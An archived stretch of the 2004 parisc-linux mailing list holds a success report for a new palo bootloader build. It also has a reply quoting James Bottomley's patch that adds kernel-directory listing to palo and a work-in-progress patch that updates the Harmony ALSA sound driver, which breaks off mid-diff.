Xref: news.gmane.org gmane.linux.ports.parisc:21634

On Thu, May 13, 2004 at 02:14:31PM -0600, bame@hp.com wrote:
> 
> New palo in CVS or a deb for testing/unstable at
> http://parisc-linux.org/~bame/palo/palo_1.4heisen_hppa.deb
> 
> I'll upload to Debian when someone besides me sees success.

You Rock!  works on my B180.
The b180 failed to boot with palo 1.4 two or three days ago.

thanks!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?RE=3A=20=5Bparisc=2Dlinux=5D=20Update=20to=20palo=20to=20allow=20the=20listing=20of=20the=20current=09kernel=20directory?=
Date: Fri, 14 May 2004 13:44:33 +0000
Lines: 305
Approved: news@gmane.org
Message-ID: <409BA51F00004EBD@ocpmta1.freegates.net>
References: <1084492855.3838.497.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623446 9402 80.91.229.3 (22 Nov 2014 02:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:46 +0000 (UTC)
To: "James Bottomley" <James.Bottomley@steeleye.com>,
 "PARISC list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23269 invoked by uid 65534); 14 May 2004 13:44:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 14 May 2004 15:44:58 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA28E3BE9A; Fri, 14 May 2004 07:44:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by free.linux.hp.com (Postfix) with ESMTP id 31EC03BE96
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 May 2004 07:44:38 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BOczK-000261-00; Fri, 14 May 2004 15:44:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 14 May 2004 15:44:33 +0200
In-Reply-To: <1084492855.3838.497.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21635

Hi all,

That works for me ;)
but if there are some mistake in the palo.conf (an empty one ?) and you
don't want to boot interactively: the ipl will loop .
I suggested a patch (http://lists.parisc-linux.org/pipermail/parisc-linux=
/2004-January/022030.html)
which I use with success since this time on my b2k, n4k and c110. Though
I never get any news, is there any interest to submit an update?

Thanks,
    Joel
> -- Original Message --
> From: James Bottomley <James.Bottomley@steeleye.com>
> To: PARISC list <parisc-linux@lists.parisc-linux.org>
> Date: 13 May 2004 19:00:54 -0500
> Subject: [parisc-linux] Update to palo to allow the listing of the curr=
ent
> 	kernel directory
> 
> 
> This patch (to palo's cvs head) adds the capability to list whatever's
> in the current kernel directory.  Probably you'll only find it useful
> if, like me, you keep lots of kernels around and can never remember
> their names
> 
> James
> 
> Index: ipl/bootloader.h
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /var/cvs/palo/ipl/bootloader.h,v
> retrieving revision 1.13
> diff -u -r1.13 bootloader.h
> --- a/ipl/bootloader.h	30 Dec 2003 17:52:06 -0000	1.13
> +++ b/ipl/bootloader.h	13 May 2004 23:58:38 -0000
> @@ -21,6 +21,7 @@
>  	int	(*open)(const char *filename);
>  	int	(*bread)(int fd, long blkno, long nblks, char *buf);
>  	void	(*close)(int fd);
> +	const char *	(*readdir)(int fd, int rewind);
>  };
>  
> 
> @@ -60,6 +61,8 @@
>  int ext2_mount(long cons_dev, long p_offset, long quiet);
>  int ext2_open(const char *filename);
>  int ext2_filesize(int fd);
> +const char * ext2_readdir(int fd, int rewind);
> +void ext2_close(int fd);
>  
>  /* lib.c */
>  void blockprint(int zero_offset, char *buf, int nbytes);
> Index: ipl/ext2.c
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /var/cvs/palo/ipl/ext2.c,v
> retrieving revision 1.11
> diff -u -r1.11 ext2.c
> --- a/ipl/ext2.c	28 Jul 2002 05:24:06 -0000	1.11
> +++ b/ipl/ext2.c	13 May 2004 23:58:39 -0000
> @@ -674,14 +674,13 @@
>  	return ext2_breadi(ip, blkno, nblks, buffer);
>  }
>  
> -#if 0
>  /*
>   * Note: don't mix any kind of file lookup or other I/O with this or
>   * you will lose horribly (as it reuses blkbuf)
>   */
> -static const char * ext2_readdir(int fd, int rewind)
> +const char * ext2_readdir(int fd, int rewind)
>  {
> -	struct ext2_inode * ip =3D &inode_table[fd].inode;
> +	struct ext2_inode * ip =3D fd2inode[fd];
>  	struct ext2_dir_entry_2 * ent;
>  	if (!S_ISDIR(ip->i_mode)) {
>  		printf("fd %d (inode %d) is not a directory (mode %x)\n",
> @@ -696,7 +695,6 @@
>  		return NULL;
>  	}
>  }
> -#endif
>  
>  int ext2_filesize(int fd)
>  {
> @@ -822,7 +820,7 @@
>  }
>  
> 
> -static void ext2_close(int fd)
> +void ext2_close(int fd)
>  {
>  	/* blah, hack, don't close the root inode ever */
>  	if (&inode_table[fd].inode !=3D root_inode)
> @@ -831,9 +829,13 @@
>  
> 
>  struct bootfs ext2fs =3D {
> -	0 /* FS_EXT2 */, 0,
> -	ext2_mount,
> -	ext2_open,  ext2_bread,  ext2_close /* ,
> -	ext2_readdir, ext2_fstat */
> +	.fs_type =3D	0,
> +	.blocksize =3D	0,
> +	.mount =3D	ext2_mount,
> +	.open =3D		ext2_open,
> +	.bread =3D 	ext2_bread,
> +	.close =3D 	ext2_close,
> +	.readdir =3D	ext2_readdir,
> +	/* .fstat =3D	ext2_fstat */
>  };
>  /* $Id: ext2.c,v 1.5 2000/09/21 16:47:48 bame Exp $ */
> Index: ipl/ipl.c
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /var/cvs/palo/ipl/ipl.c,v
> retrieving revision 1.37
> diff -u -r1.37 ipl.c
> --- a/ipl/ipl.c	4 May 2004 21:41:05 -0000	1.37
> +++ b/ipl/ipl.c	13 May 2004 23:58:40 -0000
> @@ -215,6 +215,42 @@
>      strcpy(out, tmpbuf);
>  }
>  
> +static struct diskpartition partition[MAXPARTS];
> +static int ext2 =3D 0;
> +static int bootdev;
> +
> +static void
> +partition_transform(int *kern_part, int *rd_part)
> +{
> +    int i, palo_part =3D -1;
> +
> +    /* if the F0 partition is the same as the requested kernel partiti=
on,
> +     * for now change it to zero to re-use the existing logic.  Should=

do
> +     * the reverse in the future probably.
> +     */
> +    for (i =3D 0; i < sizeof partition / sizeof partition[0]; i++)
> +    {
> +	if (partition[i].id =3D=3D PALO_PARTITION)
> +	{
> +	    palo_part =3D i + 1;
> +	    if (*kern_part =3D=3D palo_part)
> +		*kern_part =3D 0;
> +
> +	    if (rd_part && *rd_part =3D=3D palo_part)
> +		*rd_part =3D 0;
> +
> +	    break;
> +	}
> +    }
> +
> +    if (ext2 && *kern_part =3D=3D 0) {
> +	*kern_part =3D palo_part;
> +	if(rd_part && *rd_part =3D=3D 0)
> +	    *rd_part =3D palo_part;
> +    }
> +
> +}
> +
>  static void
>  interact(char *commandline, int *ok)
>  {
> @@ -246,7 +282,7 @@
>  	{
>  	    printf("%2d: %s\n", i, argv[i]);
>  	}
> -	puts("\nEdit which field?\n(or 'b' to boot with this command line, 'r=
'
> to restore)? ");
> +	puts("\nEdit which field?\n(or 'b' to boot with this command line, 'r=
'
> to restore, 'l' to list dir)? ");
>  	numbuf[0] =3D '0';
>  	numbuf[1] =3D '\0';
>  	enter_text(numbuf, sizeof numbuf - 1);
> @@ -264,6 +300,48 @@
>  	    continue;
>  	}
>  
> +	if (numbuf[0] =3D=3D 'l')
> +	{
> +	    char  *p, kern_dir[256];
> +	    const char *dir;
> +	    int fd, part, part_fd;
> +	    
> +
> +	    join(commandline, argc, argv, ok);
> +	    parse_pfname(argv[0], &#8706;, kern_dir);
> +	    p =3D strrchr(kern_dir, '/');
> +	    *(p+1) =3D '.';
> +	    *(p+2) =3D '\0';
> +
> +	    printf("Directory listing of %s\n\n", kern_dir);
> +
> +	    partition_transform(&#8706;, NULL);
> +
> +	    part--;		/* partition table starts from zero */
> +	    part_fd =3D offset_open(bootdev, 512 * partition[part].start,
> +				      512 * partition[part].length);
> +	    if(ext2_mount(part_fd, 0, 0) =3D=3D -1) {
> +		printf("Failed to mount partition %d\n", part);
> +		continue;
> +	    }
> +
> +	    if((fd =3D ext2_open(kern_dir)) =3D=3D -1) {
> +		printf("Failed to open directory %s\n", kern_dir);
> +		continue;
> +	    }
> +
> +	    while((dir =3D ext2_readdir(fd, 0)) !=3D NULL)
> +		if(dir[0] !=3D '.') /* skip hidden files and . and .. */
> +		    printf("  %s\n", dir);
> +	    
> +	    printf("\n");
> +	    ext2_close(fd);
> +	    /* There's no umount ... since the next mount reuses
> +	     * the current one's data structures ... */
> +
> +	    continue;
> +	}
> +
>  	editfield =3D parse_number(numbuf, &p);
>  
>  	if (editfield < argc)
> @@ -284,13 +362,11 @@
>      extern char _end, _edata;
>      int partitioned;
>      unsigned entry;
> -    struct diskpartition partition[MAXPARTS];
>      struct firstblock f;
>      extern char commandline[];
>      int blocked_bootdev;
> -    int bootdev;
>      int wide;
> -    int kern_part, rd_part, i, ext2 =3D 0, palo_part =3D -1;
> +    int kern_part, rd_part;
>      char kern_name[128], rd_name[128];
>      char kern_fullname[128];
>      int ok =3D 1;
> @@ -448,30 +524,7 @@
>      if (rd_part !=3D -1)
>  	printf("Selected ramdisk: %s from partition %d\n", rd_name, rd_part);=

>  
> -    /* if the F0 partition is the same as the requested kernel partiti=
on,
> -     * for now change it to zero to re-use the existing logic.  Should=

do
> -     * the reverse in the future probably.
> -     */
> -    for (i =3D 0; i < sizeof partition / sizeof partition[0]; i++)
> -    {
> -	if (partition[i].id =3D=3D PALO_PARTITION)
> -	{
> -	    palo_part =3D i + 1;
> -	    if (kern_part =3D=3D palo_part)
> -		kern_part =3D 0;
> -
> -	    if (rd_part =3D=3D palo_part)
> -		rd_part =3D 0;
> -
> -	    break;
> -	}
> -    }
> -
> -    if (ext2 && kern_part =3D=3D 0) {
> -	kern_part =3D palo_part;
> -	if(rd_part =3D=3D 0)
> -	    rd_part =3D palo_part;
> -    }
> +    partition_transform(&kern_part, &rd_part);
>  
>      if (kern_part > 0 && !partitioned)
>      {
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-------------------------------------------------------------------------=
---------------
Tiscali ADSL, 27,50 =80/mois...pendant 6 mois. 
La meilleure offre du march=E9 !
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony Driver
Date: Sat, 15 May 2004 10:42:44 +0200
Lines: 499
Approved: news@gmane.org
Message-ID: <40A5D804.6060003@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------000509060400010703070606"
X-Trace: ger.gmane.org 1416623446 9404 80.91.229.3 (22 Nov 2014 02:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from mailgate5.dlan.cinetic.de ([172.20.1.103] helo=mailgate5.web.de)
	by mxint03.web.de with esmtp (WEB.DE 4.101 #91)
	id 1BOy2B-0005lr-00
	for hdeller@web.de; Sat, 15 May 2004 14:12:55 +0200
Original-Received: by mailgate5.web.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id i4FCCt411099
	for hdeller@web.de; Sat, 15 May 2004 14:12:55 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.1)
        for hdeller@web.de; Sat, 15 May 2004 14:12:55 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2205 invoked by uid 65534); 15 May 2004 08:41:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 15 May 2004 10:41:56 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 061D13BED6; Sat, 15 May 2004 02:41:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (lnx131.hrz.tu-darmstadt.de
	[130.83.126.63])
	by free.linux.hp.com (Postfix) with ESMTP id 67C2D3BED3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 May 2004 02:41:38 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (dialin4.stud.tu-darmstadt.de
	[130.83.60.4])
	by mailserver1.hrz.tu-darmstadt.de (8.12.10/8.12.8) with ESMTP id
	i4F8fPRO011248 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 May 2004 10:41:26 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
	rv:1.6) Gecko/20040113
X-Accept-Language: de-de, de, en-us, en
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam (whitelisted),
	SpamAssassin (Wertung=0.077, benoetigt 5, TW_SN 0.08)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21636

This is a multi-part message in MIME format.
--------------000509060400010703070606
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

here is a patch to bring the driver for harmony up to the current state 
of the ALSA CVS. It compiles cleanly and also didn't crash my 715/100 
when built-in (I haven't tried to built it as module. )  During boot-up 
harmony is detected correctly (means no error messages), but much more 
didn't work. It's not possible change the volume setting, and playback 
also didn't work.
But I think, these failures are easier to solve if the driver can be 
compiled and tested. So please can s.o. with higher knowledge of linux 
and parisc than me check this patch and commit it to CVS?

Thanks,
Ruediger

--------------000509060400010703070606
Content-Type: text/plain;
 name="harmony.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.diff"

Index: linux-2.6/sound/parisc/harmony.c
===================================================================
RCS file: /var/cvs/linux-2.6/sound/parisc/harmony.c,v
retrieving revision 1.6
diff -u -p -r1.6 harmony.c
--- a/linux-2.6/sound/parisc/harmony.c	4 Apr 2004 15:30:21 -0000	1.6
+++ b/linux-2.6/sound/parisc/harmony.c	15 May 2004 08:25:56 -0000
@@ -56,11 +56,7 @@
  * also controls for enabling/disabling internal speaker and line
  * input.
  *
- * Buffers used by this driver are all DMA consistent. Since harmony is
- * not "real" pci device, we use a fake struct pci_dev for
- * pci_alloc_consistent().
- * (note that some machines -712 for ex.- don't implement DMA consistent
- * memory, so we will need to use kmalloc instead)
+ * Buffers used by this driver are all DMA consistent.
  */
 
 #include <linux/delay.h>
@@ -70,11 +66,11 @@
 #include <linux/slab.h>
 #include <linux/time.h>
 #include <linux/wait.h>
+#include <linux/moduleparam.h>
 #include <sound/core.h>
 #include <sound/control.h>
 #include <sound/pcm.h>
 #include <sound/rawmidi.h>
-#define SNDRV_GET_ID
 #include <sound/initval.h>
 #include <sound/info.h>
 #include <asm/hardware.h>
@@ -100,16 +96,14 @@ MODULE_DEVICES("{{ALSA,Harmony soundcard
 #define MAX_PCM_SUBSTREAMS	4
 #define MAX_MIDI_DEVICES	0
 
-#define BUFFER_SIZE			4096
-#define MAX_BUFS			10
+#define HARMONY_BUF_SIZE	4096
+#define MAX_BUFS		10
+#define MAX_BUFFER_SIZE		(MAX_BUFS * HARMONY_BUF_SIZE)
 
 /* number of silence & graveyard buffers */
 #define GRAVEYARD_BUFS		3
 #define SILENCE_BUFS		3
 
-#define MAX_BUFFER_SIZE		(MAX_BUFS * BUFFER_SIZE)
-#define HARMONY_BUF_SIZE	BUFFER_SIZE
-
 #define HARMONY_CNTL_C		0x80000000
 
 #define HARMONY_DSTATUS_PN	0x00000200
@@ -140,6 +134,17 @@ MODULE_DEVICES("{{ALSA,Harmony soundcard
 static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;	/* Index 0-MAX */
 static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;	/* ID for this card */
 static int enable[SNDRV_CARDS] = SNDRV_DEFAULT_ENABLE;
+static int boot_devs;
+
+module_param_array(index, int, boot_devs, 0444);
+MODULE_PARM_DESC(index, "Index value for Sun CS4231 soundcard.");
+MODULE_PARM_SYNTAX(index, SNDRV_INDEX_DESC);
+module_param_array(id, charp, boot_devs, 0444);
+MODULE_PARM_DESC(id, "ID string for Sun CS4231 soundcard.");
+MODULE_PARM_SYNTAX(id, SNDRV_ID_DESC);
+module_param_array(enable, bool, boot_devs, 0444);
+MODULE_PARM_DESC(enable, "Enable Sun CS4231 soundcard.");
+MODULE_PARM_SYNTAX(enable, SNDRV_ENABLE_DESC);
 
 /* Register offset (from base hpa) */
 #define REG_ID		0x00
@@ -191,21 +196,18 @@ typedef struct snd_card_harmony {
 	int cap_stopped;
 	int cap_total;
 
-	struct pci_dev *fake_pci_dev; /* The fake pci_dev needed for 
-					pci_* functions under ccio. */
+	struct parisc_device *pa_dev;
+
+	struct snd_dma_device dma_dev;
 
 	/* the graveyard buffer is used as recording buffer when playback, 
 	 * because harmony always want a buffer to put recorded data */
-
-	unsigned char *graveyard_addr;
-	dma_addr_t graveyard_dma;
+	struct snd_dma_buffer graveyard_dma;
 	int graveyard_count;
 	
 	/* same thing for silence buffer */
-	unsigned char *silence_addr;
-	dma_addr_t silence_dma;
+	struct snd_dma_buffer silence_dma;
 	int silence_count;
-	struct snd_dma_device dma_dev;
 
 	/* alsa stuff */
 	snd_card_t *card;
@@ -264,6 +266,15 @@ static snd_pcm_hw_constraint_list_t hw_c
 #define HARMONY_SR_33KHZ	0x16
 #define HARMONY_SR_6KHZ		0x17
 
+/* bits corresponding to the entries of snd_card_harmony_rates */
+static unsigned int rate_bits[14] = {
+	HARMONY_SR_5KHZ, HARMONY_SR_6KHZ, HARMONY_SR_8KHZ,
+	HARMONY_SR_9KHZ, HARMONY_SR_11KHZ, HARMONY_SR_16KHZ,
+	HARMONY_SR_18KHZ, HARMONY_SR_22KHZ, HARMONY_SR_27KHZ,
+	HARMONY_SR_32KHZ, HARMONY_SR_33KHZ, HARMONY_SR_37KHZ,
+	HARMONY_SR_44KHZ, HARMONY_SR_48KHZ
+};
+
 /* snd_card_harmony_rate_bits
  * @rate:	index of current data rate in list
  * returns: harmony hex code for registers
@@ -273,26 +284,9 @@ static unsigned int snd_card_harmony_rat
 	unsigned int idx;
 	
 	for (idx = 0; idx <= RATES; idx++)
-		if (snd_card_harmony_rates[idx] == rate) break;
-	
-	switch (idx) {
-		case 0: return HARMONY_SR_5KHZ;
-		case 1: return HARMONY_SR_6KHZ;
-		case 2: return HARMONY_SR_8KHZ;
-		case 3: return HARMONY_SR_9KHZ;
-		case 4: return HARMONY_SR_11KHZ;
-		case 5: return HARMONY_SR_16KHZ;
-		case 6: return HARMONY_SR_18KHZ;
-		case 7: return HARMONY_SR_22KHZ;
-		case 8: return HARMONY_SR_27KHZ;
-		case 9: return HARMONY_SR_32KHZ;
-		case 10: return HARMONY_SR_33KHZ;
-		case 11: return HARMONY_SR_37KHZ;
-		case 12: return HARMONY_SR_44KHZ;
-		case 13: return HARMONY_SR_48KHZ;
-		default:  /* fallback */
-				return HARMONY_SR_44KHZ;
-	}
+		if (snd_card_harmony_rates[idx] == rate)
+			return rate_bits[idx];
+	return HARMONY_SR_44KHZ; /* fallback */
 }
 
 /*
@@ -317,27 +311,6 @@ void snd_harmony_update_control(snd_card
 }
 
 /*
- * silence a buffer
- * XXX: alsa could probably do this by itself
- * XXX: memset hpmc, commented.
- */
-
-void snd_harmony_silence(snd_card_harmony_t *harmony,
-		void *addr, int length)
-{
-	u8 silence_char;
-	
-	switch(harmony->data_format) {
-			case HARMONY_DF_8BIT_ULAW: silence_char = 0x55; break;
-			case HARMONY_DF_8BIT_ALAW: silence_char = 0xff; break;
-			case HARMONY_DF_16BIT_LINEAR:
-			default:
-									   silence_char = 0;
-	}
-	//memset(addr, silence_char, length);
-}
-
-/*
  * interruption controls routines
  */
 
@@ -385,9 +358,9 @@ static int snd_card_harmony_interrupt(in
 			snd_pcm_period_elapsed(harmony->playback_substream);
 			harmony->ply_total++;
 		} else {
-			gsc_writel(harmony->silence_dma + 
-					(HARMONY_BUF_SIZE*harmony->silence_count),
-					hpa+REG_PNXTADD);
+			gsc_writel(harmony->silence_dma.addr + 
+				   (HARMONY_BUF_SIZE*harmony->silence_count),
+				   hpa+REG_PNXTADD);
 			harmony->silence_count++;
 			harmony->silence_count %= SILENCE_BUFS;
 		}
@@ -406,9 +379,9 @@ static int snd_card_harmony_interrupt(in
 			harmony->cap_total++;
 		} else {
 			/* graveyard buffer */
-			gsc_writel(harmony->graveyard_dma +
-						(HARMONY_BUF_SIZE*harmony->graveyard_count),
-						hpa+REG_RNXTADD);
+			gsc_writel(harmony->graveyard_dma.addr +
+				   (HARMONY_BUF_SIZE*harmony->graveyard_count),
+				   hpa+REG_RNXTADD);
 			harmony->graveyard_count++;
 			harmony->graveyard_count %= GRAVEYARD_BUFS;
 		}
@@ -465,26 +438,8 @@ static void __devinit snd_harmony_proc_i
 {
 	snd_info_entry_t *entry;
 	
-	if ((entry = snd_info_create_card_entry(harmony->card, "harmony", harmony->card->proc_root)) != NULL) {
-		entry->content = SNDRV_INFO_CONTENT_TEXT;
-		entry->private_data = harmony;
-		entry->mode = S_IFREG | S_IRUGO | S_IWUSR;
-		entry->c.text.read_size = 2048;	 /* should be enough */
-		entry->c.text.read = snd_harmony_proc_read;
-		if (snd_info_register(entry) < 0) {
-			snd_info_free_entry(entry);
-			entry = NULL;
-		}
-	}
-	harmony->proc_entry = entry;
-}
-
-static void snd_harmony_proc_done(snd_card_harmony_t *harmony)
-{
-	if (harmony->proc_entry) {
-		snd_info_unregister(harmony->proc_entry);
-		harmony->proc_entry = NULL;
-	}
+	if (! snd_card_proc_new(harmony->card, "harmony", &entry))
+		snd_info_set_text_ops(entry, harmony, 2048, snd_harmony_proc_read);
 }
 
 /* 
@@ -563,6 +518,30 @@ static int snd_card_harmony_capture_trig
 	return 0;
 }
 
+/* set data format */
+static int snd_harmony_set_data_format(snd_card_harmony_t *harmony, int pcm_format)
+{
+	int old_format = harmony->data_format;
+	int new_format = old_format;
+	switch (pcm_format) {
+	case SNDRV_PCM_FORMAT_S16_BE:
+		new_format = HARMONY_DF_16BIT_LINEAR;
+		break;
+	case SNDRV_PCM_FORMAT_A_LAW:
+		new_format = HARMONY_DF_8BIT_ALAW;
+		break;
+	case SNDRV_PCM_FORMAT_MU_LAW:
+		new_format = HARMONY_DF_8BIT_ULAW;
+		break;
+	}
+	/* re-initialize silence buffer if needed */
+	if (old_format != new_format)
+		snd_pcm_format_set_silence(pcm_format, harmony->silence_dma.area,
+					   (HARMONY_BUF_SIZE * SILENCE_BUFS * 8) / snd_pcm_format_width(pcm_format));
+
+	return new_format;
+}
+
 static int snd_card_harmony_playback_prepare(snd_pcm_substream_t * substream)
 {
 	snd_card_harmony_t *harmony = snd_pcm_substream_chip(substream);
@@ -577,12 +556,13 @@ static int snd_card_harmony_playback_pre
 	harmony->sample_rate = snd_card_harmony_rate_bits(runtime->rate);
 
 	/* data format */
-	if (snd_pcm_format_width(runtime->format) == 16) harmony->data_format = HARMONY_DF_16BIT_LINEAR;
-	else harmony->data_format = HARMONY_DF_8BIT_ULAW;
-	
+	harmony->data_format = snd_harmony_set_data_format(haromny, runtime->format);
+
 	/* number of channels */
-	if (runtime->channels == 2) harmony->stereo_select = HARMONY_SS_STEREO;
-	else harmony->stereo_select = HARMONY_SS_MONO;
+	if (runtime->channels == 2)
+		harmony->stereo_select = HARMONY_SS_STEREO;
+	else
+		harmony->stereo_select = HARMONY_SS_MONO;
 	
 	DPRINTK(KERN_INFO PFX "Playback_prepare, sr=%d(%x), df=%x, ss=%x hpa=%lx\n", runtime->rate,
 				harmony->sample_rate, harmony->data_format, harmony->stereo_select, harmony->hpa);
@@ -607,12 +587,13 @@ static int snd_card_harmony_capture_prep
 	harmony->sample_rate = snd_card_harmony_rate_bits(runtime->rate);
 	
 	/* data format */
-	if (snd_pcm_format_width(runtime->format) == 16) harmony->data_format = HARMONY_DF_16BIT_LINEAR;
-	else harmony->data_format = HARMONY_DF_8BIT_ULAW;
+	harmony->data_format = snd_harmony_set_data_format(haromny, runtime->format);
 	
 	/* number of channels */
-	if (runtime->channels == 1) harmony->stereo_select = HARMONY_SS_MONO;
-	else if (runtime->channels == 2) harmony->stereo_select = HARMONY_SS_STEREO;
+	if (runtime->channels == 1)
+		harmony->stereo_select = HARMONY_SS_MONO;
+	else if (runtime->channels == 2)
+		harmony->stereo_select = HARMONY_SS_STEREO;
 		
 	snd_harmony_update_control(harmony);
 	harmony->format_initialized = 1;
@@ -709,13 +690,6 @@ static int snd_card_harmony_playback_ope
 	snd_pcm_runtime_t *runtime = substream->runtime;
 	int err;
 	
-	/*
-	 * harmony is not "real" pci, but we need a pci_dev
-	 * to alloc PCI DMA pages
-	 */
